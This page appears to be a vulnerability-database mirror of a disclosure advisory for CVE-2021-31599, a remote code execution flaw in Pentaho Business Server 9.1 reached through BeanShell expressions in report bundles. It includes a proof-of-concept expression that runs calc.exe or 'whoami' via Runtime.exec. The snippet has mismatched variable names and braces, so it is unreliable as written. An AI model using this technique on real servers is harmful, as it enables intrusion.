Lucene search
K

Pentaho Business Analytics / Pentaho Business Server 9.1 Remote Code Execution Vulnerability

🗓️ 07 Nov 2021 00:00:00Reported by BlackHawkType 
zdt
 zdt
🔗 0day.today👁 317 Views

Pentaho Business Server 9.1 Remote Code Execution Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-31599
8 Nov 202107:28
circl
CNNVD
Hitachi Vantara Pentaho 代码问题漏洞
5 Nov 202100:00
cnnvd
CVE
CVE-2021-31599
8 Nov 202103:24
cve
Cvelist
CVE-2021-31599
8 Nov 202103:24
cvelist
EUVD
EUVD-2021-18492
7 Oct 202500:30
euvd
NVD
CVE-2021-31599
8 Nov 202104:15
nvd
OSV
CVE-2021-31599
8 Nov 202104:15
osv
Packet Storm
Pentaho Business Analytics / Pentaho Business Server 9.1 Remote Code Execution
5 Nov 202100:00
packetstorm
Prion
Code injection
8 Nov 202104:15
prion
RedhatCVE
CVE-2021-31599
6 Feb 202504:26
redhatcve
Rows per page
Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi
Affected Version(s): <= 9.1
Vulnerability Type: Remote Code Execution through Pentaho Report Bundles
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification:  8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31599
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: https://en.wikipedia.org/wiki/Pentaho )

--- ### --- ### ---

Vulnerability Details:

Pentaho allows users to create and run Pentaho Report Bundles (.prpt).
Users can create PRPT reports by utilizing the Pentaho Designer application
and can include BeanShell Script functions to ease the production of
complex reports. However, the BeanShell Script functions can allow
for the execution of arbitrary Java code when Pentaho PRPT Reports are run
by Pentaho Business Analytics. This functionality allows any user with
sufficient privileges to upload or edit an existing Pentaho Report Bundle
(through Pentaho Designer) and execute arbitrary code in the
context of the Pentaho application user running on the web server.

The following proof-of-concept BeanShell Expression demonstrates Remote
Code Execution on the underlying host server of the Pentaho application.

--- ~~~ --- ~~~ ---
// BeanShell Expression
getValue() {
// Detect the underlying Operating System
boolean isWindowsOS = System.getProperty("os.name
").toLowerCase().startsWith("windows");
if (isWindows) {
// Spawning Windows Calculator App
Runtime.getRuntime().exec("calc.exe");
} else {
// Executing the Linux ‘whoami’ command
Runtime.getRuntime().exec("whoami");
}
}
// Returns the string “done” When the PRPT report is executed
return ("Done!");
}
--- ~~~ --- ~~~ ---

--- ### --- ### ---

Proof of Concept (PoC):

See Ginger ( https://github.com/HawSec/ginger ) or the attaced PRPT file

--- ### --- ### ---

References:

- https://beanshell.github.io/intro.html
-
https://javadoc.pentaho.com/reporting/pentaho-reporting-engine-classic-core/org/pentaho/reporting/engine/classic/core/modules/misc/beanshell/BSHExpression.html#getValue()

--- ### --- ### ---


Credits:

This vulnerability was discovered by Alberto Favero & Altion Malka

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Nov 2021 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 26.5
CVSS 3.18.8
EPSS0.00886
317